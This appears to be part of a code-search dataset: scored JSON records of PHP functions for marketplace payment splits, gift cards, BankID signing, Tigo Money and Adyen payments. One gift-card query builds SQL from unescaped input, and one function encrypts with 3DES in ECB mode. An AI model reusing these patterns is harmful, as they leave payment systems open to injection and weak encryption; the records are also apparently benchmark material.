credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from buyer using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n //credit shola\n //calculate shola's cut from given money, shola cut is 2%\n $shola_cut=sholaCut($money, $pdo);\n $money=$money-$shola_cut;\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //add into shola's account an amount of money that is shola_cut from above and using shola_account_number\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $shola_cut,\"account_number\"=>$shola_account_number]);\n //credit seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to seller's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $price[0][\"price\"]*0.1, \"account_number\"=>$account_number[0][\"account_number\"]]);\n //credit shipper\n\t\t\t //get shipper user_id, and shipping price\n $stmt = $pdo->prepare(\"SELECT shipping_price, user_id from shipping where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $ship = $stmt->fetchAll();\n\t\t\t if($ship != null){\n //get credit_card_number for shipper using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$ship[0][\"user_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for shipper using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to shipper's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $ship[0][\"shipping_price\"]*0.1, \"account_number\"=>$account_number[0][\"account_number\"]]);\n\t\t\t }\n\t\t}\n\t\t//if resolveing debt\n\t\telseif($payment_type==7){\n\t\t\t//debt buyer\n //get buyer's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from buyer using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n //credit shola\n //calculate shola's cut from given money, shola cut is 2%\n\t\t\t\t$interest = interestRate($destin_id, $pdo);\n\t\t\t\t$money = $money+($money*$interest);\n $shola_cut = sholaCut($money, $pdo);\n $money=$money-$shola_cut;\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //add into shola's account an amount of money that is shola_cut from above and using shola_account_number\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $shola_cut,\"account_number\"=>$shola_account_number]);\n //credit seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to seller's balance an amount of money using price from above as amount of money and account_number from above\t\t\t\t\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" =>$money , \"account_number\"=>$account_number[0][\"account_number\"]]);\n\n\t\t}\n\t\t//if item is bought by discount\n\t\telseif ($payment_type==8){\n //debt buyer\n //get buyer's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from buyer using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n //credit shola\n //calculate shola's cut from given money, shola cut is 2%\n $shola_cut=sholaCut($money, $pdo);\n $money=$money-$shola_cut;\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //add into shola's account an amount of money that is shola_cut from above and using shola_account_number\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $shola_cut,\"account_number\"=>$shola_account_number]);\n //credit seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to seller's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $price[0][\"price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n //credit shipper\n\t\t\t //get shipper user_id, and shipping price\n $stmt = $pdo->prepare(\"SELECT shipping_price, user_id from shipping where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $ship = $stmt->fetchAll();\n\t\t\t if($ship != null){\n //get credit_card_number for shipper using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$ship[0][\"user_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for shipper using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to shipper's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $ship[0][\"shipping_price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n\t\t\t }\n }\n\n\t}", "title": "" }, { "docid": "b0f59b2eabb08950aa4457664658b899", "score": "0.53127843", "text": "public function getNextFreeCard() {\n $this->layout = \"\";\n $getfreecard = $this->Api->get_freecardDetails($_POST['clinic_id']);\n echo $getfreecard['card_number'];\n exit;\n }", "title": "" }, { "docid": "75841b28f7ccc843919e15b56b37d3aa", "score": "0.5312658", "text": "function ApplyGiftCard($giftCardCode, $TotalOrderAmount, $customerEmail) {\n \n $_SESSION['MyCart']['GiftCardCode'] = array();\n if ($giftCardCode != '') {\n $query = \"SELECT BalanceAmount FROM \" . TABLE_GIFT_CARD . \" WHERE BINARY GiftCardCode = '\" . $giftCardCode . \"' AND EmailTo='\" . $customerEmail . \"'\";\n \n $arrRes = $this->getArrayResult($query);\n\n if ($arrRes['0']['BalanceAmount'] > 0) {\n $GrandTotal = $TotalOrderAmount - $arrRes['0']['BalanceAmount'];\n $appliedBalanced = ($GrandTotal > 0) ? $arrRes['0']['BalanceAmount'] : $TotalOrderAmount;\n $_SESSION['MyCart']['GiftCardCode'] = array($giftCardCode, $arrRes['0']['BalanceAmount'], $appliedBalanced);\n return array('isValid' => '1', 'GrandTotal' => ($GrandTotal > 0 ? $GrandTotal : 0));\n } else {\n return array('isValid' => '0', 'GrandTotal' => $TotalOrderAmount);\n }\n }\n /*\n $query = \"SELECT pkProductID,Quantity,Sold FROM \" . TABLE_PRODUCT . \" WHERE pkProductID in (\" . $varProductIds . \")\";\n $arrRows = $this->getArrayResult($query);\n foreach ($arrRows as $k => $v) {\n\n $varQty = $v['Quantity'] - $argQty;\n $varQt = ($varQty > 0) ? $varQty : 0;\n\n // $this->update(TABLE_PRODUCT, array('Quantity' => $varQt), \" pkProductID = '\" . $v['pkProductID'] . \"' \");\n\n $this->update(TABLE_PRODUCT, array('Quantity' => $varQt, 'Sold' => $v['Sold'] + 1), \" pkProductID = '\" . $v['pkProductID'] . \"' \");\n }\n\n\n return true;\n */\n }", "title": "" }, { "docid": "3c6bb8d79c5a44c8d370ce55c5f48731", "score": "0.5310991", "text": "public function bankid_collect( \\WP_REST_Request $request )\n {\n $order_ref = $request->get_param( 'order_ref' );\n $project_hash = $request->get_param( 'project_hash' );\n\n if ( !$order_ref || !$project_hash ) return Includes\\Response::error( 'No ongoing attempts could be found. Please retry.' );\n\n /*$project = Cache::remember( $project_hash, 10, function() {\n return DB::table( 'projects' )->where( 'hash', '=', $project_hash)->first();\n } );*/\n\n $project = Models\\Project::where( 'hash', '=', $project_hash )->first();\n\n if ( !$project ) return Includes\\Response::error( 'You are trying to sign a non-existant project.' );\n\n $response = $this->bankid->collect( $order_ref );\n\n if ( $response ) {\n switch ( $response->progressStatus )\n {\n case 'OUTSTANDING_TRANSACTION':\n return Includes\\Response::bankid( 'RFA1' );\n case 'NO_CLIENT':\n return Includes\\Response::bankid( 'RFA1' );\n case 'STARTED':\n return Includes\\Response::bankid( 'RFA14' );\n case 'USER_SIGN':\n return Includes\\Response::bankid( 'RFA9' );\n case 'COMPLETE':\n $person_id = Includes\\Util::get_person( $response->userInfo );\n\n if ( !$person_id ) return Includes\\Response::error( 'Your BankID is invalid.' );\n\n $signature = new Models\\Signature();\n\n $signature->signature = $response->signature;\n $signature->ocsp = $response->ocspResponse;\n $signature->person_id = $person_id;\n $signature->project_id = $project->id;\n $signature->save();\n\n // Create the invoice.\n $staff = Includes\\Util::get_user( $project->handler_id );\n $customer = $project->customer;\n $customer_contact = $customer->contacts->first();\n\n if ( !$customer_contact ) return Includes\\Response::error( 'Something went wrong.' );\n\n if ( !$staff || !$customer ) return Includes\\Response::error( 'Something went wrong.' );\n\n //$this->invoice->create_invoice( $customer, $staff, $project, $customer_contact );\n \n $this->invoice->create_invoice_part( $customer, $staff, $project, $customer_contact );\n\n $invoice = $this->invoice->get_invoice();\n\n $this->email->send_email(\n array( '[email protected]' => 'Livetime AB' ),\n array( $customer_contact->email => $customer_contact->name . ' ' . $customer_contact->surname ),\n 'Livetime Faktura',\n 'Hejsan du kan se din faktura här: ' . $invoice->url\n );\n\n return json_encode( array( 'message' => 'Avtal signerat.', 'complete' => true ) );\n default:\n return Includes\\Response::error( 'Invalid response type.' );\n\n }\n }\n\n return json_encode( array( 'error' => 'Something went wrong.' ) );\n }", "title": "" }, { "docid": "8972c5d7c2d42a57ee6a59c4c1a7a2e0", "score": "0.53071874", "text": "public function send_price(Request $request)\n {\n // $token = substr($request->token, 0, -1);\n $token = $request->token;\n\n $review = Ask::where('token', $token)->firstOrFail();\n $user = User::where('id', $review->user_id)->firstOrFail();\n\n if($user->type == \"soloist\") {\n $info = User_info::select('first_name', 'last_name')->where('user_id', $review->user_id)->firstOrFail();\n } elseif($user->type == \"ensemble\") {\n $ensemble = Ensemble::select('name')->where('user_id', $review->user_id)->firstOrFail();\n }\n \n if($review->available == 1 || $review->nonavailable == 1 || $review->price != null || $review->accepted_price == 1){\n Flash::error('This token already was used');\n return redirect()->route('login');\n }else{\n Ask::where('token', $token)\n ->update([\n 'price' => $request->price,\n 'available' => 1,\n 'nonavailable'=> 0,\n ]);\n\n $dt = explode(\"|\", $review->date);\n $address = explode(\"|\", $review->address);\n $addrNAME = explode(\"address:\", $address[1]);\n \n if($user->type == \"soloist\") {\n $data = [\n 'name' => $review->name,\n 'name_use'=> $info->first_name.' '.$info->last_name,\n 'email' => $review->email,\n 'phone' => $review->phone,\n 'date' => $dt[1],\n 'address' => $addrNAME[1],\n 'duration'=> $review->duration,\n 'price' => $request->price,\n 'token' => $review->token,\n ];\n } elseif($user->type == \"ensemble\") {\n $data = [\n 'name' => $review->name,\n 'name_use'=> $ensemble->name,\n 'email' => $review->email,\n 'phone' => $review->phone,\n 'date' => $dt[1],\n 'address' => $addrNAME[1],\n 'duration'=> $review->duration,\n 'price' => $request->price,\n 'token' => $review->token,\n ];\n }\n\n Mail::send('email.request_send_price_client', $data, function($message) use ($review){\n $message->from('[email protected]');\n $message->to($review->email);\n $message->subject(\"Hi, we have a price proposal for your event\");\n });\n\n if($user->type == \"soloist\") {\n Mail::send('email.admin.request_send_price_client', $data, function($message) use ($review, $info){\n $message->from('[email protected]');\n $message->to('[email protected]');\n $message->subject('Admin, '.$info->first_name.' '.$info->last_name.' is available and gives the price to '.$review->name);\n });\n } elseif($user->type == \"ensemble\") {\n Mail::send('email.admin.request_send_price_client', $data, function($message) use ($review, $ensemble){\n $message->from('[email protected]');\n $message->to('[email protected]');\n $message->subject('Admin, '.$ensemble->name.' is available and gives the price to '.$review->name);\n }); \n }\n\n Flash::success('You accept the request, you can find all the info in your dashboard');\n return redirect()->route('login');\n }\n }", "title": "" }, { "docid": "e697ef4f5f885aebd1df2f115dac0ca2", "score": "0.5304645", "text": "function tigomoney($amount){\n $reurl = '';\n try{\n $nit_user_name = $this->company;\n $nit_user_number = $this->vat;\n\n $msisdn = Mage::app()->getRequest()->getParam($this->_code.'_tigo_money_id');//$_REQUEST['tmoney_tigo_money_id'];\n $total = 0;\n $items = array();\n $i = 0;\n $successURL = $this->returnURL;\n $errorURL = $this->backButtonURL;\n $p_total = 0;\n $c_nit = $nit_user_number;\n $order_id = $this->orderId;\n $c_razon = $nit_user_name;\n $url_transaction = $this->urlTransaction;\n $pubk = $this->pubKey;// Identify key\n $prik = $this->priKey;//Encrypt Key\n\n $cart = Mage::getModel('checkout/cart')->getQuote();\n foreach ($cart->getAllItems() as $item) {\n $productName = $item->getProduct()->getName();\n $productPrice = $item->getProduct()->getPrice();\n $productQty = ($item->getProduct()->getQty()) ? $item->getProduct()->getQty() : 1 ;\n $p_total = $productQty * $productPrice;\n \n $item_ = '*i'.($i+1).'|'.$productQty.'|'.$productName.'|'.$productPrice.'|'.$amount;\n \n array_push($items, $item_);\n \n $i++;\n //Mage::Log('Item data: '.$item_, null, 'tigobusiness-tigomoney.log');\n }\n $ndoc = $c_nit;\n $billetera = $msisdn;\n $monto = $amount;\n\n $orden = $order_id;\n $nomb = $this->firstname.' '.$this->lastname;\n $confi = '';\n $notif = 'Pago recibido por '.$monto.' Bs Pedido '.$orden;\n $rs = $c_razon;\n $nit = $c_nit;\n $hitems = implode('',$items);\n $prmts = \"\".\n \"pv_nroDocumento=$ndoc;\".\n \"pv_linea=$billetera;\".\n \"pv_monto=$monto;\".\n \"pv_orderId=$orden;\".\n \"pv_nombre=$nomb;\".\n \"pv_confirmacion=$confi;\".\n \"pv_notificacion=$notif;\".\n \"pv_razonSocial=$rs;\".\n \"pv_nit=$nit;\".\n \"pv_items=$hitems;\".\n \"pv_urlCorrecto=\".$successURL.\";\".\n \"pv_urlError=\".$errorURL.\";\".\n \"\";\n\n Mage::Log('Encrypt Data of Tigomoney: '.$prmts, null, 'tigobusiness-tigomoney.log');\n $crypt = base64_encode(mcrypt_ecb( MCRYPT_3DES , $prik , $prmts, MCRYPT_ENCRYPT)); \n //$reurl = $url_transaction.'?key='.$pubk.'&parametros='.$crypt;//redirect the URL of transaction\n //Mage::Log('URL of Tigomoney item crypt: '.$prmts, null, 'tigobusiness-tigomoney.log');\n //Mage::Log('URL of Tigomoney: '.$reurl, null, 'tigobusiness-tigomoney.log');\n $param = array(\n 'key' => $pubk,\n 'parametros' => $crypt\n );\n Mage::Log('URL of Tigomoney: '.print_r($param, true), null, 'tigobusiness-tigomoney.log');\n \n $connect = array();\n \n $connect['proxyusername'] = $this->proxyusername;\n $connect['proxypassword'] = $this->proxypassword;\n $connect['proxyhost'] = $this->proxyhost;\n $connect['proxyport'] = $this->proxyport;\n $connect['urlTransaction'] = $this->urlTransaction;\n \n $reurl = $this->wsAction('solicitarPago', $param, $connect);\n $data_ = array(\n array(\n 'tmoney_order_id' => $this->orderId,\n 'tomoney_ws_id' => ((is_array($reurl))? $reurl['orderId'] : $reurl),\n ),\n );\n //Mage::getModel('tmoney/tigomoney')->setData($data_)->save();\n \n } catch (Exception $ex){\n Mage::Log('Error to create the URL of Tigomoney: '.$ex->getMessage(), null, 'tigobusiness-tigomoney.log');\n }\n \n return $reurl;\n }", "title": "" }, { "docid": "659d305359f8a9db40941d238b0ddd2c", "score": "0.53002584", "text": "public function buyitemfinishAction()\n {\n $uid = $this->_user->getId();\n $itemId = $this->getParam(\"CF_cid\");\n $selectNum = $this->getPost(\"CF_selectNum\");\n\n //check selectNum\n if ($selectNum > 9) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/itemshop');\n }\n\n //check if this item can buy by bonus\n $itemIdArray = array(1, 2, 3, 4, 6, 9);\n\n if (!in_array($itemId, $itemIdArray)) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/itemshop');\n }\n\n //check 宣戦布告 card count, max count=2\n if ($itemId == 9) {\n require_once 'Dal/Dynamite/Item.php';\n $dalItem = Dal_Dynamite_Item::getDefaultInstance();\n $itemCount = $dalItem->getOneItemCount($uid, 9);\n\n if ($selectNum > 2 || $itemCount >= 2) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/itemshop');\n }\n }\n\n //buy item\n require_once 'Bll/Dynamite/Item.php';\n $bllItem = new Bll_Dynamite_Item();\n $result = $bllItem->buyItemSubmit($uid, $itemId, $selectNum);\n\n if ($result == -1) {\n $this->_redirect($this->_baseUrl . '/mobile/dynamite/itemshop');\n }\n\n require_once 'Bll/Cache/Dynamite.php';\n $allItemInfo = Bll_Cache_Dynamite::getItemInfo();\n\n foreach ($allItemInfo as $key => $value) {\n if ($itemId == $value['cid']) {\n $selectedItem = $allItemInfo[$key];\n }\n }\n\n $this->view->itemName = $selectedItem['name'];\n\n $this->render();\n }", "title": "" }, { "docid": "9d30b4dde59bc4070033744df385161f", "score": "0.529398", "text": "public function verficationPaiement(Request $request)\n {\n $contenuPanier= Cart::content();\n\n //On indique que la variable $total_a_payer sera de type numérique\n settype($total_a_payer, \"integer\");\n\n //ON va chercher le prix réel en base de données\n foreach ($contenuPanier as $itemPanier)\n {\n //On recupere les items un à un\n $item=Produit::where('id','=',$itemPanier->id)->get();\n\n //On calcule le prix par rapport à la quantité d'item\n $prixEnFonctionDeLaQuantite= ($item[0]->prix) * ($itemPanier->qty);\n\n //On incrémente le prix total à payer par item\n $total_a_payer += $prixEnFonctionDeLaQuantite;\n }\n\n //On récupère le montant de la TVA sur la commande ---- round($test,2) [$test] pour le montant et [,2] pour 2 chiffres après la virgule\n // [*(21/100)] POUR 21% de T.V.A.\n //On peut imaginer au lieu de [21] en ecrit ici avoir [$tva] qui serait repris en BDD et modifiable par le backend\n $tvaSurCommande=round($total_a_payer*(21/100),2);\n\n //On calcule le VRAI total à payer\n $total_a_payer += $tvaSurCommande;\n\n //bcmul est une extension de BC MATH, permet de convertir le pric en CENTS, en géneral TOUT les services de paiements veulent recevoir un prix indiqué en cents\n $prix_en_cents = bcmul($total_a_payer, 100);\n //Les parametres ADYEN (service de paiement)\n $req = array(\n \"action\" => \"Payment.authorise\",\n \"paymentRequest.merchantAccount\" => \"OndegoBE\",\n \"paymentRequest.amount.currency\" => \"EUR\",\n \"paymentRequest.amount.value\" => $prix_en_cents,\n \"paymentRequest.reference\" => \"TEST-PAYMENT-\" . date(\"Y-m-d-H:i:s\"),\n \"paymentRequest.shopperIP\" => \"ShopperIPAddress\",\n \"paymentRequest.shopperEmail\" => \"TheShopperEmailAddress\",\n \"paymentRequest.shopperReference\" => \"YourReference\",\n \"paymentRequest.fraudOffset\" => \"0\",\n \"paymentRequest.additionalData.card.encrypted.json\" => $request['adyen-encrypted-data']\n );\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, \"https://pal-test.adyen.com/pal/adapter/httppost\");\n curl_setopt($ch, CURLOPT_HEADER, false);\n curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );\n curl_setopt($ch, CURLOPT_USERPWD, \"[email protected]:TONPASSWORD\");\n curl_setopt($ch, CURLOPT_POST,1);\n curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query($req));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n $result = curl_exec($ch);\n // dd($result);\n\n //print_r(($result));\n if($result === false){\n echo \"Error: \" . curl_error($ch);\n\n }\n else{\n /**\n * If the payment passes validation a risk analysis will be done and, depending on the\n * outcome, an authorisation will be attempted. You receive a\n * payment response with the following fields:\n * - pspReference: The reference we assigned to the payment;\n * - resultCode: The result of the payment. One of Authorised, Refused or Error;\n * - authCode: An authorisation code if the payment was successful, or blank otherwise;\n * - refusalReason: If the payment was refused, the refusal reason.\n */\n parse_str($result,$result);\n //dd($result);\n //print_r(($result));\n if ($result['paymentResult_resultCode'] =='Refused'){\n //Paiement refusé\n echo 0;\n }\n if ($result['paymentResult_resultCode'] =='Authorised'){\n //Paiement accepté et autorisé\n $utilisateur = Auth::user();\n $commande = new Commande;\n $commande->user_id=$utilisateur->id;\n $commande->paiement=1;\n $commande->save();\n foreach ($contenuPanier as $itemPanier)\n {\n $commande->produits()->attach(Produit::where('id', $itemPanier->id)->first());\n\n }\n Cart::destroy();\n return redirect()->route('mon_compte');\n\n\n }\n \n\n\n }\n\n curl_close($ch);\n }", "title": "" } ]
9c161a2f798ae6254b6b00418d935e6a
end store legalbody function to show instruments list
[ { "docid": "f5261a8e1ae59ee544ea08b656fca3ab", "score": "0.0", "text": "public function viewedit($collectionID = \"\")\n{\n $sessiondata = session()->all();\n $adminlegalBodyName = \"\";\n $role = \\Session::get('role');\n $legalBodyID = \\Session::get('legalBodyID');\n\n $admin_legal_body = \\DB::table('legalbodies')\n ->where('legalBodyID', '=', $legalBodyID) \n ->take(1)->get();\n \n if (sizeof($admin_legal_body) < 1) {\n return \\Redirect::action('AdminController@movedordeleted'); // redirect if no result for collection\n } else {\n $adminlegalBodyName = $admin_legal_body[0]->legalBodyName;\n }\n\n\n if ($role == \"Admin\")\n {\n // user is restricted to specified collection\n $adminlegalBodyName = $admin_legal_body[0]->legalBodyName;\n } else {\n // user not restricted to specified collection\n $admin_legal_body = \"\";\n }\n\n\n if ($role == \"SuperAdmin\" || $role == \"Cataloguer\") {\n \n if ($collectionID > 0) { // check collection exists\n \n $admin_legal_body = \\DB::table('legalbodies')\n ->where('legalBodyID', '=', $collectionID) \n ->take(1)->get();\n\n if (sizeof($admin_legal_body) < 1) {\n return \\Redirect::action('AdminController@movedordeleted'); // redirect if no result for this collection\n } else {\n $adminlegalBodyName = $admin_legal_body[0]->legalBodyName;\n }\n \n } else {\n\n $adminlegalBodyName = \"All\";\n\n }\n\n } // end if super or cataloguer\n\n $legalbodies = \\DB::table('legalbodies')\n ->orderBy('legalBodyName', 'asc')\n ->get();\n\n return view('datatables.eloquent.basic-object')->with([ \n 'page' => 'viewedit',\n 'role' => \\Session::get('role'),\n 'adminlegalBodyName' => $adminlegalBodyName,\n 'legalbodies' => $legalbodies,\n 'collectionID' => $collectionID,\n 'sessiondata' => $sessiondata\n ]); \n\n}", "title": "" } ]
[ { "docid": "0a7275b4db81fe63c9729842481d0c20", "score": "0.6174068", "text": "public function showEnrollments()\n {\n\n }", "title": "" }, { "docid": "5a7372b28f39809a093d0e3d3e846b82", "score": "0.59902245", "text": "public function displayItem();", "title": "" }, { "docid": "02f1d2ab4f8b57ed5ddc9b7a68e21003", "score": "0.58175725", "text": "public function items_desc(){\n\t $data = $this->glbl('practitioner_access');\t\n\t\t$clinicData = $this->manage_locations->getClinicId($this->tank_auth->ci->session->userdata['user_id']);\n $data['clinicSettings'] = $this->manage_settings->getClinicSetting($clinicData->clinic_id);\n $data['cliniclocationSettings'] = $this->manage_settings->getLocationSettings($clinicData->location_id);\n\t\t$data['datatables'] = $this->appointments->getTypes($clinicData->clinic_id);\n\t\t$this->load->view('inc/header', $data);\n\t\t$this->load->view('clinic/appointment/items_desc', $data);\t\t\n\t}", "title": "" }, { "docid": "4e8bee34036384a235669ce6d644cdfe", "score": "0.5763202", "text": "public function show(Instrument $instrument)\n {\n //\n }", "title": "" }, { "docid": "2d41c4e5e253547bc7aafec0d99791d1", "score": "0.574139", "text": "function displayList() {\n\t\t$theCode = $this->theCode;\n\t\t$where = '';\n\t\t$content = '';\n\t\t$content .= '<!-- function displayList() -->';\n\t\tswitch ($theCode) {\n\t\t\tcase 'LATEST':\n\t\t\t\t$prefix_display = 'displayLatest';\n\t\t\t\t$templateName = 'TEMPLATE_LATEST';\n\t\t\t\t$this->arcExclusive = -1; // Only latest, non archive items\n\t\t\t\t$this->config['limit'] = $this->config['latestLimit'];\n\t\t\tbreak;\n\t\t\tcase 'LIST':\n\t\t\t\t$prefix_display = 'displayList';\n\t\t\t\t$templateName = 'TEMPLATE_LIST';\n\t\t\tbreak;\n\t\t\tcase 'LIST_FOR_NAV_MENU':\n\t\t\t\t$prefix_display = 'displayList';\n\t\t\t\t$templateName = 'TEMPLATE_LIST_FOR_NAV_MENU';\n\t\t\tbreak;\n\t\t\tcase 'SEARCH':\n\t\t\t\t$prefix_display = 'displayList';\n\t\t\t\t$templateName = 'TEMPLATE_LIST';\n\t\t\t\t// $GLOBALS['TSFE']->set_no_cache();\n\t\t\t\t// $this->allowCaching = 0;\n\t\t\t\t$formURL = $this->pi_linkTP_keepPIvars_url(array('pointer' => null, 'cat' => null), 0, '', $this->config['searchPid']) ;\n\n\t\t\t\t\t// Get search subpart\n\t\t\t\t$t['search'] = $this->getItemsSubpart($this->templateCode, $this->spMarker('###TEMPLATE_SEARCH###'));\n\n\t\t\t\t\t// Substitute the markers for the search form\n\t\t\t\t$out = $t['search'];\n\t\t\t\t$out = $this->cObj->substituteMarker($out, '###FORM_URL###', $formURL);\n\t\t\t\t$out = $this->cObj->substituteMarker($out, '###SWORDS###', htmlspecialchars($this->piVars['swords']));\n\t\t\t\t$out = $this->cObj->substituteMarker($out, '###SEARCH_BUTTON###', $this->pi_getLL('searchButtonLabel'));\n\n\t\t\t\t\t// Add to content\n\t\t\t\t$content .= $out;\n\n\t\t\t\t\t// do the search and add the result to the $where string\n\t\t\t\tif ($this->piVars['swords']) {\n\t\t\t\t\t$where = $this->searchWhere(trim($this->piVars['swords']));\n\t\t\t\t\t$theCode = 'SEARCH';\n\t\t\t\t} else {\n\t\t\t\t\t$where = ($this->conf['emptySearchAtStart']?'AND 1=0':''); // display an empty list, if 'emptySearchAtStart' is set.\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\t\t// xml news export\n\t\t\tcase 'XML':\n\t\t\t\t$prefix_display = 'displayXML';\n\t\t\t\t\t// $this->arcExclusive = -1; // Only latest, non archive items\n\t\t\t\t$this->allowCaching = $this->conf['displayXML.']['xmlCaching'];\n\t\t\t\t$this->config['limit'] = $this->conf['displayXML.']['xmlLimit']?$this->conf['displayXML.']['xmlLimit']:$this->config['limit'];\n\n\t\t\t\tswitch ($this->conf['displayXML.']['xmlFormat']) {\n\t\t\t\t\tcase 'rss091':\n\t\t\t\t\t\t$templateName = 'TEMPLATE_RSS091';\n\t\t\t\t\t\t$this->templateCode = $this->cObj->fileResource($this->conf['displayXML.']['rss091_tmplFile']);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'rss2':\n\t\t\t\t\t\t$templateName = 'TEMPLATE_RSS2';\n\t\t\t\t\t\t$this->templateCode = $this->cObj->fileResource($this->conf['displayXML.']['rss2_tmplFile']);\n\t\t\t\t\tbreak;\n\n\t\t\t\t\t// this will be possible later:\n\t\t\t\t\t// case 'rdf':\n\t\t\t\t\t// \t$templateName = 'TEMPLATE_RDF';\n\t\t\t\t\t// \t$this->templateCode = $this->cObj->fileResource($this->conf['displayXML.']['rdf_tmplFile']);\n\t\t\t\t\t// break;\n\n\t\t\t\t\t// case 'atom':\n\t\t\t\t\t// \t$templateName = 'TEMPLATE_ATOM';\n\t\t\t\t\t// \t$this->templateCode = $this->cObj->fileResource($this->conf['displayXML.']['atom_tmplFile']);\n\t\t\t\t\t// 